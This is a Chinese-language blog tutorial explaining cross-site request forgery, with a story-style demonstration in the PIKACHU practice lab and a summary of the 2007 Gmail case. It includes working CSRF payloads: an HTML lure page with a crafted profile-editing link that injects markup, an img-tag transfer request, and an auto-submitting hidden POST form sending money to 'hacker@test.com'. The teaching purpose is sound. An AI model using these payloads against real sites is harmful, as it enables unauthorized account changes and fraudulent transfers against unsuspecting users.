关注这个漏洞的其他相关笔记：CSRF 漏洞 - 学习手册-CSDN博客
0x01：CSRF 漏洞简介
CSRF（Cross-Site request forgery，跨站请求伪造）也被称为 One Click Attack 或者 Session Riding，通常缩写为 CSRF 或者 XSRF（XSS + CSRF），是一种通过挟持用户在当前已登录的 Web 应用程序上执行非本意操作的攻击方法。
CSRF 跨站请求伪造，虽然听起来与 XSS 跨站脚本注入名字很相似，但它们两个利用的点其实有很大区别：
-
XSS ： 利用用户对指定站点的信任发起攻击，盗取用户权限或进行恶意操作。
-
CSRF： 利用站点对用户（浏览器）的信任，伪装成受信用户请求站点，并进行操作。（攻击者并没有拿到用户权限）
与 XSS 攻击相比，CSRF 攻击往往不大流行，因此对其进行防范的措施也相当稀少，所以被认为比 XSS 攻击更具有危险性。
0x0101：CSRF 漏洞 - 攻击流程
一个典型的 CSRF 攻击流程如下图所示：
-
受害者登录 a.com，并保留了登录凭证（Cookie or Session）。
-
攻击者诱导受害者访问了 b.com。
-
b.com 返回的页面内包含恶意代码，此代码向 a.com 发送了一个请求：
a.com?act=xx（若用户已在 a.com 中登录，则会携带用户登录凭证向 a.com 发送请求）。 -
a.com 接收到请求后，对请求来源进行校验，并确认是受害者的凭证，误以为是受害者自己的操作。
-
a.com 以受害者名义执行了
act=xx操作。 -
攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让 a.com 执行了自己定义的操作。
0x0102：CSRF 漏洞 - 漏洞演示
实验工具准备
PHP 运行环境：phpstudy-x64-8.1.1.3.zip（Apache2.4.39 + PHP 5.6.9nts）
实验环境：PIKACHU 靶场 - CSRF（get） => 参考：PIKACHU —— 靶场笔记合集
本次的实验环境，我们采用现成的 PIKACHU 靶场，PIKACHU 靶场的安装方法参考上面提供的链接，这里就不多说了，下面直接开始演示。
访问 PIKACHU 靶场，并定位到 CSRF（get）漏洞处，可以点击一下提示，看看可用的用户名与密码：
这里笔者使用 lili:123456 先完成一次正常的登录，登录后的页面如下所示：
在继续下面的实验之前，我们编个小故事吧，首先讲解一下人物关系：
-
我（lili），女，是个 Hacker，喜欢 vince，我的登录信息是：
lili:123456。 -
受害者（lucy），女，lili 的情敌，她的登录信息是：
lucy:123456（lili 不知道哦）。 -
路人（vince），男，一个海王，他的登录信息是：
vince:123456。
下面，开始我们的故事（讲的不好，请礼貌点喷啊，笔者只是为了让大家有点代入感）：
我，lili，我喜欢我们班上的 vince，一个帅气的 boy，帅气的男孩谁不爱？所以我有一堆情敌，今天我要给她们一次警告。
就在几天前，我发现我们学校的学生信息管理系统中存在[[00 - XSS 漏洞 - 学习手册 |XSS 漏洞]]，通过该漏洞，我可以给自己定义一个好看的页面：
点击“修改个人信息”，往“住址”中写入下面的内容即可：
usa<br><p color=red>宣言：❤Vince 是我的❤</p>
这个是我给自己写的个人界面，怎么样，好看吧，反正比学校原本的好看多了：
就在我利用 XSS 漏洞肆意篡改我的个人页面时，我偶然间通过抓包发现了这么一条信息：
我发现，我之前修改的内容居然都出现在了请求包的 GET 请求参数上！此时，我脑海中立即想到了，后端就是通过这个接口来修改个人信息的！！
几乎就在同时，我意识到这个接口能修改我的信息，那必然也能修改别人的信息，可是，它是怎么确认修改谁的信息呢？
很快，我将注意力放在了 Cookie 上，用户的登录凭证，是的，就是这个小东西。
那么，我想修改别人的信息，我又没别人的 Cookie，我该怎么办呢？此时，我联想到了 Cookie 的一个特性，当第二次访问已经登录过的站点时，浏览器会自动把 Cookie 传送给服务端！
于是，我在学校的论坛上发布了这么一个帖子，帖子具体内容如下（如下是网页源码，保存为 .html 后使用火狐浏览器打开即可）：
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>宣战书</title>
<style>
body {
font-family: 'Times New Roman', serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.declaration {
background-color: #fff;
padding: 20px;
border: 1px solid #ddd;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
max-width: 600px;
margin: auto;
}
h1 {
text-align: center;
color: #333;
}
p {
text-align: justify;
line-height: 1.6;
color: #666;
}
</style>
</head>
<body>
<div class="declaration">
<h1>战书</h1>
<p>喜欢 Vince 的那些女孩们：</p>
<p>是时候来场光明正大的对决了，你们暗地里做的那些 XXX 事，让我很恼火！🤬</p>
<p>地点：<a href="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=4444444444444&add=usa%20%3Cbr%3E%3Ch1%20style=%22color:%20red%3Balign-items:%20center%3B%22%20%3E%E8%AD%A6%E5%91%8A%EF%BC%9A%E7%A6%BB%E4%BB%96%E8%BF%9C%E7%82%B9%EF%BC%8C%E6%88%91%E7%9F%A5%E9%81%93%E4%BD%A0%E8%83%8C%E5%9C%B0%E9%87%8C%E5%81%9A%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B%EF%BC%81%EF%BC%81%EF%BC%81%3C/h1%3E&email=Isee%40You.com&submit=submit
">点我了解详情！</a></p>
<p>时间：2024/09/22</p>
</div>
</body>
</html>
上面“我（lili）”的故事到此结束，接下来是 lucy 也就是 lili 情敌的故事了：
lucy 和往常一样，登录了自己的信息门户，看看有没有新的东西（客官们假设旁边有最新的信息）：
就在这时，她发现了一条有意思的内容，好像是对所有喜欢 Vince 的战书：
lucy 觉得很有意思，准备到时候去看看那帮女孩能干出什么事，就点击了战书中的链接，然而预料中的地址没找到，链接直接跳转到了自己的信息门户中：
lucy 还发现，自己的信息门户中的信息还被篡改了，看着屏幕中红色的字体，lucy 感到一阵后怕。。。
至此，整个 CSRF 攻击的故事就讲完了，简而言之，lili 利用校园网页中的 XSS 漏洞 + CSRF 漏洞，给全体情敌写了一封威胁信，若学校的同学登录了个人中心，再点击战书中的链接，就会发现，自己的个人信息被篡改了。
故事写的有点草率了。希望各位看官能够喜欢。
0x0103：CSRF 漏洞 - 案例分享
这里我们分享一个反复鞭尸的 CSRF 漏洞经典案例 - 2007 年的 Google Gmail 邮件转发漏洞。
由于时间过去已久，笔者没能找到当时的确切漏洞报道，那就只能以文字的方式再拿来鞭尸一次了，参考链接：
2007 年，Google 的 Gmail 服务遭遇了一个严重的安全漏洞，该漏洞允许攻击者在用户不知情的情况下，通过恶意网站利用 Cookie 信息来转发用户的所有邮件。
这个漏洞存在意味着，如果用户在登录 Gmail 的同时访问了恶意网站，攻击者就有可能利用跨站脚本（XSS）漏洞来获取用户的 Cookie，并使用这些 Cookie 在不需要密码的情况下登录用户的 Gmail 账户，进而实施邮件转发操作。由于 Google 的 Cookie 有效期长达两年，这使得这种攻击方式尤为危险。
此外，还有报道称，攻击者可以利用 Gmail 的 CSRF（跨站请求伪造）漏洞，通过诱导用户访问一个特殊构造的网站，来在用户的 Gmail 账户中设置自动转发规则，将所有带有附件的邮件转发到攻击者指定的邮箱中。这种攻击方式在当时被认为是 “特别恶劣的”，因为它不需要用户进行任何操作，而且普通用户很难察觉到自己的邮件被窃取了。
Google 在得知这些漏洞后迅速采取了行动，修补了相关问题，并表示没有收到任何关于这些漏洞被利用的报告。
0x02：CSRF 漏洞详解
0x0201：CSRF 漏洞产生的原因
CSRF 漏洞产生的主要原因是因为程序员在开发 Web 应用程序时没有充分考虑到用户请求的安全性，对进行敏感操作的接口没有实施对应的安全措施，导致恶意用户可以利用用户的登录状态，通过构造特定的请求，诱导或自动让用户的浏览器发送这些请求，从而在用户不知情的情况下以用户的名义完成一些恶意操作，如转账、发帖等。
0x0202：CSRF 漏洞攻击特点
CSRF 攻击过程有以下两个重点，缺一不可：
-
目标用户已经登录了网站，能够执行网站的功能。
-
目标用户访问了攻击者构造的 URL。
CSRF 攻击的特点如下：
-
攻击一般发起在第三方网站，而不是被攻击的网站，因为外域通常更容易被攻击者掌控。但是如果是本域下有容易被利用的功能，比如可以发图和链接的论坛和评论区，攻击可以直接在本域下进行，而且这种攻击更加危险。
-
攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作，而不是直接窃取信息。
-
整个过程攻击者并不能直接取得受害者的登录凭证，仅仅是 “冒用”。
-
跨站请求可以使用各种方式：图片 URL、超链接、CORS、Form 提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中，难以进行追踪。
0x0203：CSRF 漏洞分类
CSRF （跨站请求伪造）漏洞，大体可以分为两种类型，分别是 GET 型 与 POST 型。
接下来，我会简单介绍一下两种不同类型的 CSRF 漏洞的攻击方式，详细内容，笔者后面会针对每种类型的漏洞都举出一个实例来进行详解。
1. GET 型 CSRF
GET 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP GET 请求，利用用户的登录状态，在用户不知情的情况下，诱使浏览器向受信任的网站发送请求，从而执行非用户意图的操作。
常见的攻击方式： 攻击者通过在站点中嵌入恶意链接到图片、链接或者隐藏的 iframe 中，诱使用户点击或者在不知情的情况下触发请求，从而发起攻击。例如，攻击者可以创建一个隐藏的 iframe，其中包含对银行网站的转账请求，当用户访问包含该 iframe 的页面时，浏览器会携带用户的会话 Cookie 自动发起转账请求，而用户可能对此还一无所知。
比如，某家银行的转账接口请求包如下（假设该家银行存在 CSRF 漏洞）：
http://bank.example.com?act=transfer&money=$money$&to=$email$
act=transfer -- 执行转账操作
money=$money$ -- 转账的金额
to=$email$ -- 转账的对象那么攻击者通过在网页中嵌入下面的代码，并诱导用户访问，当用户访问嵌入了恶意代码的站点时，用户浏览器就自动会向 bank.example.com 站点的转账接口发起请求，导致攻击发生：
<img src="http://bank.example.com?act=transfer&money=100&to=hacker@test.com">当然，前提是，用户登录了那家银行，而且登录凭证还未失效。
2. POST 型 CSRF
POST 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP POST 请求，利用用户的登录状态，在用户不知情的情况下，诱使浏览器向受信任的网站发送请求，从而执行非用户意图的操作。
在 GET 型 CSRF 中，都是诱导用户点击一个链接来触发请求，那么有大聪明就说了，我的接口改成只接收 POST 请求的不就好了？
通过点击确实无法发送 POST 请求，但攻击者可以通过在自己的服务器上构造表单，并且设置自动提交的方式，来让浏览器发送 POST 请求，如果其他站点存在 XSS 漏洞的话，更是可以直接把表单嵌入到那些站点中进行攻击。
比如，还是上面那个例子，只不过这回银行改成了只接收 POST 请求传参。那么攻击者可以将下面的代码嵌入到网页中从而实施攻击：
<form action="http://bank.example.com" method=POST>
<input type="hidden" name="act" value="transfer" />
<input type="hidden" name="money" value="100" />
<input type="hidden" name="to" value="hacker@test.com" />
</form>
<!-- 使用 JavaScript 脚本自动提交上面的表单 -->
<script> document.forms[0].submit(); </script> 当用户访问嵌入了上面代码的页面后，表单会自动提交，相当于是模拟用户完成了一次 POST 操作。
扫一扫
2486
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
